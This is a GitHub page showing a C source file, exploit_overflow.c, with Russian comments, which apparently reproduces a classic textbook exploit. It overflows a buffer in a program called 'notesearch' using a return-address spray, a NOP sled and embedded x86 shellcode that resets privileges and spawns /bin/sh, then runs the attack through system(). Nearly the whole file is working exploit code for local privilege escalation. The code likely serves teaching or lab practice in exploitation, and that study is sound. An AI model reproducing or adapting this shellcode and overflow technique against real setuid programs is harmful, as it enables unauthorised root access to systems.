-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit_overflow.c
More file actions
31 lines (23 loc) · 1.09 KB
/
Copy pathexploit_overflow.c
File metadata and controls
31 lines (23 loc) · 1.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset = 270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Обнулить новую память.
strcpy(command, "./notesearch '"); // Начать буфер команды.
buffer = command + strlen(command); // Поместить вконце буфер.
if (argc > 1) // Задать смещение.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // Задать адрес возврата.
for(i=0; i < 160; i+=4) // Заполнить буфер адресом возврата.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Построить цепочку NOP.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1); strcat(command, "\'");
system(command); // Запустить эксплойт.
free(command);
}